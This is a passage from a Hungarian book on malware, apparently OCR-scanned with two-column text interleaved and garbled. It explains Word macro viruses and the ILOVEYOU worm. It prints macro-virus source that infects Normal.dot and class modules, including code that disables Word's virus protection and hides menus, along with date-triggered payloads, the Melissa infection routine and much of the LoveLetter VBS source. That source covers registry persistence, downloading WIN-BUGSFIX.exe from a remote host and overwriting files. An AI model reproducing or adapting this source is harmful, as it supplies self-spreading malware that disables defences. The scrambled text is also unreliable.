alatt is használni tudunk, és minden API-funkciót is ismer (API = Application
Programming Interface).
5.5.1 Minden ténykedés központja - a Normal.dot fájl
A Word minden indításkor betölt egy globális fájlt, a Normal.dot-ot. Ebben
a fájlban lehetnek a makrók, amelyek azután minden dokumentumra érvénye-
sek. Ezt a fájlt támadják meg, hogy a Wordot megfertőzzék. Ha a Word fájlok
makrót tartalmaznak, akkor ezek a fájl megnyitásakor rendszerint ugyancsak
megnyílnak és aktívvá válnak. De a Word idegen szövegeknél megkérdezi,
hogy aktiválja-e a makrókat is. Ez a kérdés azonban csak erre a dokumentumra
érvényes, ezért kell a fertőzéshez a Normal.dot-ba másolni a makrovínisokat, és
a Normal.dot-ból minden, még nem fertőzött DOCfájlba. Ez a makrovírus alap-
Ötlete.
5.5.2 Modul vagy osztálymodul?
A vírusok mindig egy osztálymodulban vagy egy modulban vannak. Egy modul
elkészítéséhez az Eszközök/Makró/Visual Basic-kel megnyitjuk a Word
makroszerkesztőjét. Itt a Beszúrás menüből kiválasztjuk, hogy Modulról vagy
Osztálymodulról, esetleg UserFormról lesz-e szó. A UserFormok a makroprog-
ramozás szempontjából nem érdekesek, a modulok és az osztálymodulok a fon-
tosak. Ezekbe kerülnek az önálló projektrészek, amelyeket bárhol újra elő lehet
venni. Először a modulokban lévő makrovírusokkal foglalkozunk.
5.5.3 Vírusok kontra ServiceRelease
Az SR-1 a Microsoft egy ServiceRelease-e, amely a WordBasicben elérhetet-
lenné teszi a MacroCopy és Application OrganizerCopy parancsokat, de egy vírus-
író erre mindig talál megoldást.
5.5.4 Modul makrók
Az alábbiakban megtalálható minden, amire egy Word makrovírushoz
szükség van, de hangsúlyozzuk, hogy az egészet csak tájékoztatásnak szánjuk,
nem pedig megvalósítás céljára.
Attribute VB_Name = "demo"
Sub AutoCloseQ
On Error Resume Next
Application. VBE.ActiveVBProject. VBComponents(" demo").Export
"c:\demo.sys"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBCpmponents(I).Name = "demo" Then If NormalTemplate. VBProject. VBCpmponents(I).Name = "demo " Then
NormInstall = True Normlnstall = True
Next I Ha a Normal.dot-ban van egy modul, amit demo-nak hívnak (tehát a ví-
rus), True-ra állítja a NormalInstall-t.
For I = l To ActiveDoctiment.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "demo" Then Next I
ActivInstall = True A For cikluson belül a következő értékre lépteti a ciklusváltozót.
Next I For I = 1 To ActiveDocument. VBProject. VBComponents. Count
If ActivInstall = True And Normlnstall = False Then Set Dobj = Ez egy For ciklus. Annyiszor ismétli meg a For és a Next közötti kódot,
NormalTemplate. VBProject_ ahány modul található az aktív dokumentumban.
Else If ActivInstall = False And Normlnstall = True Then Set Dobj =
IfActiveDoaiment. VBProject. VBComponents(I).Name = "demo" Then
ActiveDocument. VBProject ActivInstall = True
Dobj. VBComponents.Import ("c: \demo.sys") Ha az aktív dokumentumban van egy modul, amelynek a neve „demo"
End Sub (tehát, mint a vírusé), True-ra állítja az Activlnstall-t.

így ni, ezt most fogjuk most darabokra szedni. Next I

A For cikluson belül a következő értékre lépteti a ciklusváltozót.
Attribute VB_Name = "demo"
A Demo a modul neve. És a modul neve általában a vírus neve. If ActivInstall = True And Normlnstall = False Then Set Dobj =
NormalTemplate. VBProject
Sub AutocloseQ Ha az aktív dokumentumban, és nem a Normal.dot-ban vagyunk, akkor
Ez a sub minden alkalommal lefut, ha egy dokumentumot bezárnak.
a Dobj-t NormalTemplate. VBProject-re állítja. Itt rögzíti, hogy később me-
Vannak még más autofunkciók is, amelyek automatikusan végrehajtód-
lyik fájlba importál: vagy a Normal.dot-ba, vagy az aktív dokumentumba.
nak: például AutoOpen, AutoExit, Autoexec.
Else If ActivInstall = False And Normlnstall = True Then Set Dobj =
On Error Resume Next ActiveDocument. VBProject
Ez esetleg a VB-ből már ismert. Ha hiba lépne fel, egyszerűen a követke-
Itt a feltétel fordítva is átfut: Ha a Normal.dot-ban és nem az aktív doku-
ző parancsot hajtatja végre, ahelyett, hogy hibaüzenetet írna ki, ami el-
mentumban vagyunk, akkor a Dobj NormalTemplate. VBProject-re lesz ál-
árulná a vírust. lítva, hogy később kiváltsa az aktív dokumentumba importálást.
Application. VBE.ActiveVBProject. VBComponents ("demo").Export Dobj. VBComponents.Import ("c:\demo.sys")
"c: \demo.sys" Itt importálja az elején exportált fájlt (a vírust). Hogy melyik fájlba lesz
A modult a C\demo.sys fájlba exportálja. Ebben a fájlban benne van az csomagolva, az attól függ, hogy mire lett állítva a Dobj.
egész forráskód, hogy később lehetőleg egy fertőzendő fájlba lehessen im-
Most néhány funkció következik, amelyeket be lehet építeni.
portálni.
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
Ez egy For ciklus. Annyiszor ismétli az utána következő kódot, ahány
Az álcázáshoz - stealth
modul van a Normal.dot-ban. A Word alapértelmezésben megmutat egy modult a VB Editorban, ezenkí-
vül a Normal.dot-on keresztül célzottan másolni is lehet a makrókat. Az álcázás
tehát azt jelentené, hogy a makrovírust elrejtjük. Ez úgy megy a legegyszerűb-
ben, ha nem lehet a menükből elindítani a megfelelő funkciókat. Ezen a helyen
a ritkán használt parancsok elrejtése a Word 2000-ben különösen végzetesen
hat: a felhasználó e beállítás miatt egyáltalán nem vesz észre bizonyos beavat-
kozási lehetőségeket. A vírus eltávolítja ezeket a bejegyzéseket, és sokkal to-
vább marad észrevétlen.
CommandBars(''Tools").Controls(''Macro").Delete
Kiveszi a makrókra vonatkozó menüparancsokat.
CommandBars("Tools"). Controls("Templates and Add-lns... ").Delete
Kiveszi a sablonokra és a bővítményekre vonatkozó menüparancsokat.
CommandBars(''Format").Controls(''Style... ").Delete *
Kiveszi a stílusokra vonatkozó menüparancsokat.
Options. VirusProtection = False
Eltávolítja a vírusvédelmet, amelyekkel a Word a dokumentumokban
előforduló makrókra reagál.
Options.SaveNormalPrompt = False
Ezzel a paranccsal kikapcsolja a párbeszédablakot, amely alapértelmezés-
ben rákérdez a Normal.dot mentésére, így anélkül lehet megváltoztatni a
Normal.dot-ot, hogy azt a felhasználó észrevenné. Fontos még: mivel en-
nek a funkciónak a kikapcsolása a háttérben történik, a hiányát csak az
veszi észre, aki jól kiismeri magát a Wordben.
A rejtőzködéshez bizonyos menüparancsok kikapcsolása is fontos, ami meg-
valósítható néhány programsorral.
Sub ToolsMacro( )
On Error Resume Next
End Sub
Ha a felhasználó az Eszközök/Makró/Makrók-ra. kattint, lefut ez a sub. A
felhasználó nem láthatja a párbeszédmezőt.
Sub FileTemplates( )
On Error Ressume Next
End Sub
A felhasználó nem tudja elindítani a Sablonok és bővítmények ablakot.
SubViewVBCode( )
On Error Resume Next
End Sub
A felhasználó nem tudja elindítani a VB editort.
Sub
WordBasic.DisableAutoMacros = 0
End Sub
Az automakrók inaktívvá válnak.
A Word kérdését, hogy a makrókat lefuttassa-e, a következő paranccsal le-
het kikapcsolni a Registry-ből.
System.PrivateProfileString("","HKEY_CURRENT_USER\Software\
Microsoft\Office\9.0\\Word\SecTírity", „Levél") = /&
A Programhiba esetén az On Error Resume Next -tel egyszerűen továbbfut.
5.5.5 Ilyet is lehet: a vírus egy Payload-ot hív meg
Hogy a vírus ne legyen azonnal aktív, egy folyamatellenőrzési lehetőséggel
is fel van ruházva. A fertőzésszámláló pontosan ezt a lehetőséget kínálja. Ehhez
el kell helyezni egy kulcsot valahol a Registry-ben, azután nullánál megtörténik
a gonoszkodás. Ugyanígy egy bizonyos napot is lehet használni. A megfelelő
kódsorok egyszerű If lekérdezések.
If Month(Now( )) = l And Day(Now( ) = l Then Call Payload
'Ha az aktuális dátum január L, akkor menj a payloadra.
If Month(Now( )) = l And Day(Now( ) = l Then Call Payload
'Ha az aktuális dátum január 2., akkor menj a Payloadra.
Természetesen a rendszeres összehasonlítás egy véletlenszámmal is lehetsé-
ges. Ha a szám és a változó megegyeznek, akkor következik be az esemény:
x=Int(Rnd * 100)
'X egy változó, amely egy 0-100 közti számot tartalmaz.
If x = 3 then Call Payload
'Ha x, menj a Payloadra.
 5.5.6 A vírus fájltulajdonságokat vagy CommandBars(''edit").Controls("Replace... ").Delete
szövegtartalmakat változtat meg If ActiveDociment.Saved = False Then ActiveDocument.Save
End Sub
A Payload mögött különféle ténykedések rejtőzhetnek, amelyeket az időzí-
tett kioldó vált ki. Például megváltozhatnának a dokumentum-tulajdonságok:
hirtelen egy Dagobert kacsa írta a levelet vagy ilyesmi:
5.5.7 A vírus jelszóval védi a fájlt
Sub Payload( ) A jelszavas védelmet is be lehet kapcsolni egy makrovírussal:
ActiveDocument.ReadOnlyRecommended = False
With Dialogs(wdDialogFileSummaryInfo) Sub Payload( )
.Author = "Szerző" ActiveDocument.Password = "hallo"
.Title="Cím" 'Persze lehet véletlenszerű jelszót is csinálni.
.Subject = "Tárgy" End Sub
.Comments = "Megjegyzések" Ezentúl biztosan másképpen fogják kezelni a Word-figyelmeztetést. A ví-
.Keywords = "Keresőszó" rusvizsgálónk legyen mindig a legfrissebb, és használjuk minden alkalommal,
.Execute ha kapunk egy Word vagy Excel dokumentumot. Sajnos, egyes vírusprogramo-
End With zók sportot űznek abból, hogy mindig új fertőzési módokat találjanak ki. Száz-
End Sub százalékos védelem nem létezik, de hatékony megelőzés azért lehetséges.
Ugyanígy szavakat is kicserélhetünk Word parancsok segítségével. A ked-
velt Keresés-Csere funkció most a vírust segíti:
5.6 Megfertőzött osztálymodulok
Sub Payload( )
On Error Resume Next
A WinWord dokumentumok megfertőzésének egy másik módja az osztály-
Selection.HomeKey Unit:=wdStory
Selection.Find.Replacement.ClearFormatting modulok megfertőzése, ami sokkal nehezebbé teszi a vírus felfedezését. Az osztály-
modulok bizonyos mértékig saját meghatározású vezérlőelemek, amelyeknek ma-
With Selectíon.Find
gunk írhatjuk a forráskódját. Az osztálymodulok ezért ugyanazokkal a tulajdon-
.Text = "Mit keres" 'a cserélendő szöveg
ságokkal rendelkeznek, mint a vezérlőelemek, vagyis egy objektumot definiá-
.Replacement.Text = "Mire cseréli" 'amire cseréli
lunk tulajdonságokkal és eljárásokkal. Az osztálymodulok abban különböznek a
.Forward = True
felhasználó által meghatározott vezérlőelemektől, hogy kvázi „láthatatlanok".
.Wrap = wdFindContinue
Az osztálymodulok a felhasználó számára nem olyan könnyen felismerhe-
.Format = False
tők, mert a makrókhoz és sablontartalmakhoz tartozó Makró és a Szervező ab-
.MatchCase = False
lakban nem mutatja őket a program. Aki szeretne utánanézni, úgy találja meg
.MatchWholeWord = True
ezt a párbeszédablakot, ha az Eszközök/Makró/Makrók Szervezőre kattint.
.MatchAllWirdForms = False
Az osztálymodulok megfertőzésének a stratégiája más, mint az eddig bemu-
End With
Selection.Find:ExecuteReplace:=wdReplaceAll tatott makróvírusoké: itt már nem exportálnak és importálnak egy kódot min-
CommandBars("edit").Controls("UndoVBA-Find.Execute").Delete den jövendőbeli Word fájlba, vállalva a felfedezés veszélyét, hanem beolvassák
CommandBars("edit").Controls("Repeat" Replace...").Delete a kódot, és ezt a sztringet illesztik be egy másik osztálymodulba. A víruskód
megnyitáskor láthatatlanul integrálódik minden további dokumentumba. A ' Az indexszám l a VBComponents(l)-nél mindig a „ThisDocument"
programozás stuktúrájához egyszerűen azt kell elképzelni, hogy a vírus végre- osztálymodul,
hajtódik, és csak a dokumentumban vagy a Normal.dot-ban lehet. A kód beolva- ' amelyet meg kell fertőzni.
sásához tehát ki kell találni, hogy hol vagyunk, abból azután már logikusan kö- Else
vetkezik, hogy mit kell megfertőzni. ' ha nem a Normal.dot-ban vagyunk, már csak egy lehetőség marad hátra
íme egy példavírus, kommentárokkal a kódban, hogy világossá tegye a mö- Set Source = ActiveDocument. VBProject. VBComponents(1).CodeModule
götte rejlő meggondolásokat. Set Target =
NormalTemplate.VBProject.VBComponents(1).CodeModule
Private Sub Document_Open( )
End If
' Ez a Sub mindig lefut, ha egy dokumentumot megnyitnak.
' Figyelembe kell venni, hogy a SUB Priváté. Egy osztálymodulban With Source
mindennek VirCode = .Lines(l, .CountOflines)
' Private-nak kell lennie. Ha ezt valaki elfelejti, annak fertőzésnél azonnal End With
hibát jelez. ' Ha egy objektumot egy With...End With-blokkba zárunk, akkor nincs
' A Sub neve is megváltozott. Most Document_Open( ) a neve, nem pedig szükség
' AutoOpen( ). ' az objektumnév ismétlésére.
' Tehát ott van, hogy Source.Lines(l, Source.CountOflines)
On Error Resume Next
' Most a teljes víruskód a VirCode-ba lesz beolvasva.
' a szokásos történet a hibával
' Source.CountOflines adja vissza a sorok/Lines számát a modulban.
MyPos = ThisDoaiment.Name ' .Lines(az l. sortól beolvasni, annyi sort, amilyen hosszú a modul),
' Mivel nem tudjuk, hol vagyunk (a Normal.dot-ban vagy a dokumentumban)
With Target
'a ThisDocument.Name adja a választ
.DeleteLines l, .CountOflines
If MyPos = „Normal.dot" Then ' A megfertőzendő fájlban minden sort törölni kell. Az 1. sortól kezdve,
Set Source = ....' annyi sort kell törölni, amilyen hosszú a modul.
NormalTemplate.VBProject.VBComponents(l).CodeModule ....' Ezzel biztosak lehetünk abban, hogy ott már semmi sincs. Ha a vírus
Set Target = ActiveDocument. VBProject. VBComponents(l).CodeModule ott már
'Ha a Normal.dot-ban vagyunk, tudjuk, hogy az aktuális dokumentumot ....' megtalálható lenne, és beírjuk a modulba, anélkül, hogy előzőleg tö-
kell rölnénk
' megfertőzni, és hogy a víruskód a Normal.dot-ból jön. ' a sorokat, az hibaüzenethez vezetne.
' Létrehozzuk a változóinkat. De lehetséges, hogy már az aktuális doku- .InsetLines l, VirCode
mentum is ' A beolvasott sztring beillesztése a modulba.
' fertőzött. Ezt ebben a példában nem ellenőrizzük, ' Az l. sortól kezdve, és VirCode a sztring.
' mert minden kód megfertőzésénél azok, amelyek előzőleg ott voltak, End With
törölve
' lesznek. Így ez csak elpazarolt processzoridő. Ez azonban azt is jelenti, Egy igazi vírus persze sokkal nagyobb ennél, és még Stealth-funkciókat is
' hogy ha ott egy másik vírus volt, ezt az új felülírja. tartalmaz.
' ActiveDocument. VBProject.VBComponents( l). CodeModule
 Az alábbiakban egy példával világítjuk meg, hogyan fertőzi meg az Do While ADIl.CodeModule.Lines(BGN, 1) <> ""
osztálymodulatokat a Melissa: ToInfect.CodeModule.InsertLines BGN,
ADIl.CodeModule.Lines(BGN, 1)
CUT HERE
BGN = BGN + l
Priváté Sub Document_Open( ) Loop
On Error Resume Next End If
Set ASI1 = ActiveDocument.VBProject.VBComponents.Item(l) If DoAD = True Then
'Állítsd ADIl-et ActiveDocument.VBProject.VBComponents.Item(l) Do While NTIl.CodeMOdule.Lines(1, 1) = ""
-re. NTIl.CodeModule.Lines
Set NTI1 NormalTemplate. VBProject. VBComponents.Item(l) Loop
'Állítsd SetNTIl-et ToInfect.CodeModule.AddFromString ("Private Sub
NormalTemplate,VBProject.VBComponents.Item(l)-re. Document_Open( )")
NTCL = Hni.CodeModide-.CountOfLims Do While NTIl.CodeModule.Lines(BGN, 1) <> ""
ADCL = ADIl.CodeModule.CountOfLines ToInfectCodeModule.InsertLines EGN,NTIl.CodeModule.Lines(BGN, 1)
BGN =2 BGN = BGN +l
If ADILName <> "Melissa" Then Loop
IfADCL>OThen_ End If
ADIl.CodeModule.DeleteLines l, ADCL CYA:
SetToInfect = ADIl If NTCL <> 0 And ADCL = 0 And (InStr(l, ActiveDocumentName,
ADILName = "Melissa" "Document") = False) Then
DoAD = True ActiveDocument.SaveAsFileName:=ActiveDocument.FullName
End If Elself (InStr(l, ActiveDocumentName, „Document") <> False) Then
If NTILName <> "Melissa" Then ActiveDocument.Saved = True
If NTCL >0 Then _ End If
NTIl.CodeModule.DeleteLines l, NTCL End Sub
SetToInfect = NTIl
CUT HERE
NTILName = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
5.7 ILOVEYOU
If DoNT = True Then
Do WhileADIl.CodeModule.Lines(1, 1) ="" A LoveLetter egy VBS-féreg (Vimal Basic Script) amely e-mailen keresztül ter-
ADIl.CodeModule.DeleteLines l jed, mellékletként. A LoveLettert először 2000. május 4-én jelezték. Néhány
órán belül világszerte elterjedt, és a hálóra csatlakoztatott cégek 90% -át meg-
Loop
ToInfect.CodeModule.AddFromString ("Private Sub fertőzte. Most minden idők egyik legveszélyesebb vírusát fogjuk alaposabban
szemügyre venni.
Document_Close( )")
 5.7.1 Mi az a féreg? Miközben a féreg aktív volt, a Taskmanager-en is megjelent mint w_srcipt. Eb-
ben az esetben gyorsan be kellett zárni ezt a feladatot, vagy a gépet is rögtön kilőni!
A féreg egy darabkányi kód, amely magától terjed az interneten vagy a helyi A féregnek egy variánsa aktiválta a jelszó cache-elést, és ezután a cache-elt
hálózaton keresztül. A vírussal ellentétben a féreg nem közvetlenül rombol. A jelszavakat elküldte mailben.
féreg, mint az ILOVEYOU esetében, legfeljebb magas forgalmat (traffic) ge- Az eddig ismert változatok:
nerál. • ILOVEYOU
• Susitikim shi vakara kavos puodukui...
5.7.2 A működési mód • Joke
Az ILOVEYOU féreg egy weboldalról töltött le egyes bannereket, amelye- • Mothers Day Order Confirmation
ket azonban hamarosan nem lehetett elérni, mivel a Fülöp-szigetek-i szolgálta-
• Dangerous Virus Warning
tó, a Sky Internet Inc., gyorsan kapcsolt, és törölte a webhelyet.
• Vírus ALERT!!!
Ugyanott a féreg a WIN-BUGSFIX programot is le akarta tölteni, amely • Important! Read carefully!!
jelszavakat kémlel ki, és ezeket Access Net accountokra kellett volna küldenie,
ezzel az üzenettel: Bárok...e.mail.passwords.send.er.trajan-by spyder. • I Cant Believe This!!!

A féreg manipulálta még a következő Registry-bejegyzéseket:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
\MSKernel32
HKEY_LOCAL_MACHINE\Sofrware\Microsoft\Windows\CurrentVersion\Run
Services\Win32DLL
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
\WN-BUGSFIX
Miután lefuttatták, automatikusan elküldte magát a címjegyzék e-mail-
címeire. Így nagy forgalom keletkezett a cégek belső hálózati mailszerverein,
aminek következtében néhány céges hálózatnak teljes egészében le kellett
mondania a mailküldésről.
A féreg az Outlookon és a mIRC-en keresztül is terjedt. Úgy módosította a
mIRC script.ini fájlját, hogy egy csatorna minden látogatója, amelyek között ott
volt a fertőzött is, megkapta a .vbs fájlt,
A legdestruktívabb azonban az a tény volt, hogy minden js, .jse, .css, .wsh,
.sct, .hta, .vbs, .jpeg, .jpg fájlt használhatatlanná tett, illetve elrejtette az .mp3 és
az .mp2 fájlokat.
• Thank You For Flying With Arab Airlines
• Variant Test
• Yeah, Yeah another time to DEATH...
• LOOK!
• How to protect yourself from the ILOVEYOU bug!
Az Amable Mendoza Aguila Computer College-ben, a Spyder nevet használó
hacker munkahelyén 10 személyt gyanúsítottak azzal, hogy részt vettek a Bárok
2.1 szoftver fejlesztésében.
Időközben a hackereknek volt idejük, hogy minden döntő bizonyítékot tö-
röljenek a gépeikről, míg a hatóságok napokon át semmit sem tettek.
A féreg, hivatalos számok szerint, 600 ezer számítógépet ért el, a nem hiva-
talos számok azonban ennél jóval magasabbak, mivel ezekbe a statisztikákba
nem kerülnek be a magánfelhasználók gépei. A károkat több milliárd dollárra
becsülték, s ez az érintett szerverek tisztán materiális kiesési ideje, a rendszer-
gazdák félelmeit és feldühítését még egyáltalán nem számoltuk. Két prominens
áldozat is volt: a ZDF tévéadó és az Expo-világkiállítás. Sok cég megelőzéskép-
pen leválasztotta mailszerverét a netről.
 Az eset egyedüli nyertesei az antivírusok gyártói voltak, akiknek a részvényei Az On Error Resume Next-tel a hibakezelést vezeti be: ha a program futtatása
10%-kal is emelkedtek. közben hiba lép fel, akkor a következő lépéssel kell folytatni, hibaüzenet nélkül.
Ezután definiál néhány változót, ezekkel a változókkal fog a későbbiekben dol-
gozni.
5.7.3 Hogyan tudott a féreg elterjedni?
Set so = CreateObject("Scripting.FileSystemObject")
A féreg terjedésének az alapja az volt, hogy manapság, főleg az internetes set file = f s o . Open TextFile (Wscript. ScriptFullname, 1)
vbscopy=file.ReadAH
újoncokban, nem tudatosulnak a hálóval kapcsolatos veszélyek.
Ennek a féregnek semmi esélye sem lett volna, ha minden végfelhasználó A program ezután egy FileSystemObject-et (fso) hoz létre. Ezzel az objek-
tudott volna a Visual Basic Script veszélyeiről. tummal lehet fájlokat elérni. A következő sorban ez meg is történik: a program
Sokan azt hitték, hogy csak a végrehajtható fájlok, mint az .EXE vagy a az OpenTextFile-lal és az azután következő ReadAll( ) -lal beolvassa magát a me-
.COM fájlok jelenthetnek veszélyt. Az, hogy ActiveX-kontrollok és más móriába.
scriptek is veszélyesek lehetnek, még nem ismert általánosan. Az ILOVEYOU
main( )
vírus téma a múltban nagyon gyakran szerepelt a médiában, de sehol nem je-
sub main( )
lent meg róla még felvilágosítás, nemhogy egy analízis háttérinformációkkal a
On Error Resume Next
felhasználók számára.
dim Tvscr,rr
Ellenintézkedésként ajánlkozik a WindowsScripting hostok eltávolítása
uninstall-lal, és a Registry-bejegyzések eltávolítása, valamint a *.vbs fájlok törlése a setivscr=CreateObject("Wscript.Shell")
Windows és a Windows/System könyvtárból. rr=scr.Regread(''HKEY_CURRENT_USER\Software\Microsoft\Windows
ScriptingHost\Settings\Timeout")
if (rr>=l) then
5.7.4 A forrás - kommentárokkal wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout",0, "REG_DWORD"
end if
A továbbiakban az ILOVEYOU vírus forráskódja látható, de hangsúlyoz-
zuk, hogy ebben a formájában teljesen hatástalan. A célja csak a felépítés bemu- Set dirwin = fso.GetSpecialFolder(0)
tatása és kommentálása sorról sorra. A vírus a Windows Scripting Host-tal haj- Set dirsystem =fso.GetSpecialFolder(l)
tódik végre. Set dirtemp = fso.GetSpecialFolder(2)
rem barok -loveletter(vbe) <i hate go to school> Set c =fso.GetFile(Wscript.ScriptFullName)
rem by: spyder / ispyder@mail.com / ©GRAMMERSoft Group / c. Copy(dirsystem& "\MSKernel32.vbs")
Manila,Philippines c.Copy(dirwin& "\Win32DLL.vbs")
Ezek a sorok csak szerzői kommentárok, tehát a szerző mailcíme és álneve, a c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
vírus működésére nincs semmilyen hatásuk. regruns( )
On Error Resume Next html( )
dimFSO,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow spreadtoemail( )
eq="" listadriv( )
ctr=0 end sub
 Innentől kezdődik a vírus főrutinja. s/HJKjnwerhjkxcvytwertnMTFwerdsfmhPnjw6581345gvsdfl619njbvYT/
Először a CreateObject( ) -tel egy Shell objektumot hoz létre - ez az objektum WIN-BUGSFIX.exe
teszi lehetővé a Windows különböző funkcióinak az elérését. Ki lehet például elseif num = 2 then
olvasni a Registry-t, és írni lehet bele, ami később meg is történik. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart
A Set parancsokkal kérdezi le a program a Windows könyvtárait (dirwin), Page", "http://www.skyinet.net/
valamint a Windows/System (dirsystem) könyvtárat, hogy azután a maga egyik ~angelcat/skladjflfdjghKJnmtryDGFikjUlyqwrWe546786324hjk4jnHH
másolatát tegye le a következő neveken: MSKernel32.vbs, Win32DLL.vbs, illet- GbvbmKL/
ve LOVE-LETTER-FOR-YOU.TXT.vbs. Ezek a fájlok tehát kizárólag a vírust JKjhkqj3w/
WIN-BUGSFIX.exe"
tartalmazzák.
Mikor a vírus így bemásolta magát, hozzákezd az igazi feladatához, amihez a elseif num = 3 then
következő függvényeket hívja meg: regruns( ), html( ), spreadtoemail( ) és listadriv( ). regcreate "HKCU\Sofrivare\Microsoft\InternetExplorer\Main\Sart
A html( ) egy helyi HTML-fájlt helyez el, amely valójában még egyszer tar- Page", "http://www.skyinet.net/
talmazza a vírust, és ezt indításkor végrehajtja. ~koichi/jf6TrjkcbGRpGqaql98vbFV5hfFEjbopBdQZnmpOhfgER61b3Vlrvg/
A többi funkciót a forrásszöveg folyamatában magyarázzuk el, a működési WN-BUGSFIX.exe"
elseif num = 4 then
módjukkal együtt.
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart
sub regruns( ) Page ", "http://www.skyinet. net/~chu/
On Error Resume Next sdgfhjksdfiklNBmnfgkKLHjkq'wtiiHJBhAFSDGjkhYUgq'werasdjh
Dim num,downread PhjasfdglkNBhbq'webmznxcbvnmadshfgq'w23146I234iiiylthjg/
regcreate WIN-BUGSFIX.exe
"HKEY__LOCAL_MACHINE\Software\Microsoft\Windows\ end if
CurrentVersion \Run \MsKernel32 ",dirsystem&"\MSKernel32.vbs" end if
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ if (fileexist(dovmread&"\WIN-BUGSFIX.exe")=0) then
CurrentVersion \RunServices\Win32DLL ",dirwin8í "\Win32DLL.vbs" regcreate
downread="" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\ Version\Run \ WIN-BUGSFIX",downread& "\WIN-BUGSFIX.exe"
Internet Explorer\Download Directory") regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
if (downread="") then Explorer\Main \Sart
downread="c:" Page",
en if "about:blank"
if<fíleexist(dirsystem&"\WinFAT32.exe")=l) then end if
Randomize end sub
num = Int((4 * Rnd) +1 A regruns( ) funkciónak különböző feladatai vannak a Registry-ben.
if num = 1 then A CurrentVersion/Run alatt két kulcsot hoz létre, mindkettő a vírus előzőleg
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart létrehozott másolatára mutat, MSKernel és Win32DLL név alatt.
Page ", "http://www.skyinet. net/
~yotmg l
 A Run alatti bejegyzések a Windows indításakor automatikusan lefutnak. Ez Minden mappán végrehajtja az InfectFiles funkciót. Ez a funkció a mappák
azt jelenti, hogy a következő rendszerindításkor a vírus ismét elindul, és újból egyes fájljait szerkeszti, s hogy pontosan mit is tesz, az majd később következik.
kezdi a működését. Ezután a vírus az Internet cache-t keresi, tehát azt a könyv-
Minden fájlt felsorol, amelyet meg fog fertőzni:
tárat, amelybe a megfelelő fájlokat tölti az Internet Explorer. Ha a vírus nem ta-
lál cache-t, egyszerűen a C:-t használja. sub infectfiles(folderspec)
Most a program megváltoztatja az Internet Explorer kezdőlapját, ehhez négy On Error Resume Next
különböző oldal szolgál választékul, amelyek közül véletlenszerűen választ ki dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
egyet. Minden oldal a skyinet.net egyik szerverére vezet. Erről az oldalról azu- set f=fso. GetFolder(folderspec)
tán még egy további fájlt is automatikusan letölt a vírus, ez a fájl megintcsak set fc =f.Files
bejegyzi magát a Registry-be, úgy, hogy a következő Windows-indításnál vég- for each f1 in fc
rehajtódik, s támogatja a vírus működését. ext=fso. GetExtensionName (f1 .path)
Röviddel az ILOVEYOU megjelenése után azonban a skyinet.net lépett, és ext=Icase(ext)
eltávolította a szerverről a megfelelő oldalakat. s=Icase(f( ).name)
if (ext="vbs") or (ext="vbe") then
sub listadriv
set ap=fso.OpenTextFile(f0).path,2,true)
On Error Resume Next
ap.write vbscopy
Dim d,dc,s
ap.close
Set dc =fso.Drives
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (Ext="sct") or
For Each d in de
(ext="hta") then
If d.DriveType = 2 or d.DriveType=3 Then
set ap=fso. OpenTextFile(f1.path, 2, true)
folderlist(d.patb&"")
ap.write vbscopy
end if
ap.close
Next
bname=fso.GetBaseName (f1.path)
listadriv = s
set cop=fso.GetFile(f0.path)
end sub
cop.copy(folderspec& ""&bname& ".vbs")
Ez a függvény minden meghajtót kilistáz, és ezután meghívja a folderlist fso.DeleteFile(f( ).path)
függvényt, amely a meghajtókon található minden mappát megdolgozza. elseif(ext="jpg") or (ext="jpegn) then
sub folderlist(folderspec) set ap=fso.OpenTextFile(f1.path, 2, true)
On Error Resume Next ap.write vbscopy
dim f, f1, sf ap.close
set f=fso. GetFolder(folderspec) set cop=fso.FetFile(f1.path)
set sf=f.SubFolders cop.copy(f1.path&".vbs")
for each f1 in sf fso.DeleteFile(f1.path)
infectfiles(f1.path) elseif(ext="mp3" ) or (ext="mp2") then
folderlist(f1.path) setmp3=fso.CreateTextFile(f1.path&",vbs")
next mp3.write vbscopy
end sub mp3.close
 set att=fso.GetFik(f1.path) A következő függvények segédfüggvények, amelyeket a program más pont-
att.attrihites=att.attributes+2 jain használ fel. Ezek a függvények egy Registry-bejegyzést készítenek, és ellen-
end if őrzik, hogy léteznek-e bizonyos fájlok vagy mappák.
sub regcreate(regkey,regualue)
if (eq<>folderspec) then
Set regedit = CreateObject("Wscript.Shell")
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini")
regedit.RegWrite regkey,regvalue
or (s="mirc.hlp") then
end sub
set scriptini=fso.CreateTextFile(folderspec& "\script.ini")
script.ini.WriteLine "[script] function regget(value)
script.ini.WriteLine ";mIRCScript" Set regedit = CreateObject("Wscript.Shell")
script.ini. WriteLine "; Please dont edit this script... mIRC will corrupt, if regget=regedit.RegRead(value)
mIRCwill" end function
script.ini. WriteLine " corrupt... WINDOWS will affect and will not run
function fileexist(filespec)
correctly. thanks"
On Error Resume Next
script.ini.WriteLine ";"
dim msg
script.ini.WriteLine ";KhaledMardam-Bey"
if (fso.FileExist(filespec)) Then
script.ini.WriteLine ";http://www. mirc. com "
msg = 0
script.ini.WriteLine ";"
else
script.ini.WriteLine "n0=on 1:JOIN:#:{„
msg = 1
script.ini.WriteLine " n 1 = / i f ( = = ) {halt}"
end if
script.ini.WriteLine "n2= /.dcc send
